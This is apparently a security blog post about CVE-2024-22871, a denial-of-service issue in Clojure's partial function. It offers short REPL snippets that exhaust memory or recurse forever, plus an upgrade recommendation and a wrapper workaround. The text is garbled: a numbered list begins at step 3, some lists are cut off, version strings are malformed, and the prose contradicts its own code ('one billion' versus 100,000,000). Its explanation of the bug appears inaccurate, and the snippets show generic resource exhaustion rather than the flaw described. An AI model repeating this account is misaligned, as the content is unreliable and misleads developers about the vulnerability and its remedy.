CVE-2024-22871 - Denial of Service in Clojure via clojure.core$partial$fn\_\_592

On February 2024, a new vulnerability was identified in Clojure, affecting versions 1.2. through 1.12.-alpha5. Assigned the identifier CVE-2024-22871, this bug lets attackers cause a Denial of Service (DoS) by exploiting the clojure.core$partial$fn__592 function. This post will explain what happened, how the issue works, and how you can protect your Clojure applications—using simple, no-nonsense language.

What is Clojure and What Went Wrong?

Clojure is a modern programming language that runs on the Java Virtual Machine (JVM). It's popular with developers who like functional programming.

The problem sits inside Clojure's standard library, specifically in the partial function. This function is used to create new functions by fixing some arguments of existing functions. The vulnerable piece is the internally generated function called clojure.core$partial$fn__592.

Due to improper handling of *partial functions with too many or too few arguments*, it's possible for an attacker to craft function calls that cause an application to hang, run out of memory, or crash the JVM.

The function lacks sufficient input validation or guards.

3. Clojure tries to build up argument lists and stack frames, consuming all memory or causing a stack overflow.

The process crashes or is killed by the operating system.

This can happen any time your app exposes user-input to partial in a way that attackers can control.

Technical Details and Example

Let’s see a simple Clojure code example that triggers the DoS condition.

Here’s how someone could abuse the partial function

(ns dos.partial
  (:require [clojure.core :refer [partial]]))

(defn sum [a b]
  (+ a b))

(def malicious-partial
  (partial sum))

;; Passing a huge list of arguments will consume all available stack/memory
(apply malicious-partial (repeat 100000000 1))

The last line attempts to feed one billion 1 arguments to the partially-applied function. While sum only takes 2 arguments, Clojure's partial function tries to process them all, eventually blowing up the process.

A _standalone_ snippet to crash a (test) Clojure REPL

(def evil-fn (partial +))
(apply evil-fn (repeat 100000000 1)) ;; This will run out of memory!

Or for a quick StackOverflowError

(def evil-fn (partial (fn [& args] (recur))))
(evil-fn) ;; Infinite recursion crashes the REPL

If a web application accepts function names and parameters from user input and passes them to such a partial, a bad actor could simply send massive data or recursion triggers and take the service down.

Uses Clojure versions 1.2. to 1.12.-alpha5 (inclusive), and

- Accepts any sort of untrusted input for function creation/invocation, or

How to Fix

Upgrade your Clojure dependency!
This issue is resolved in releases *after* 1.12.-alpha5.

If you can't upgrade yet, add wrapper code to validate or restrict input to partials, or use timeouts and resource limits around places where partial or dynamic function calls occur.

Example workaround

(defn safe-partial [f & args]
  (fn [& more]
    (if (> (+ (count args) (count more)) 10) ; arbitrary limit
      (throw (Exception. "Too many arguments!"))
      (apply f (concat args more)))))

Additional Resources

- CVE-2024-22871 at NVD
- Clojure's partial function docs
- Official Clojure Issue Tracker (relevant bug)
- Security Advisory from Cognitect

Conclusion

This vulnerability is a classic example of how seemingly harmless standard library features can be used for denial of service attacks if not handled carefully—especially when mixed with user input.

If you’re running a Clojure app, check your version and patch ASAP!
Not doing so could let anyone with access take your app offline with a single HTTP request or API call.

Stay safe, and keep your dependencies up to date.
For questions or additional info, see the resources above or reach out to the Clojure core team.


*Authored exclusively for this post. Please share with any Clojure developers you know!*

Timeline

Published on: 02/29/2024 02:15:09 UTC
Last modified on: 08/13/2024 19:35:03 UTC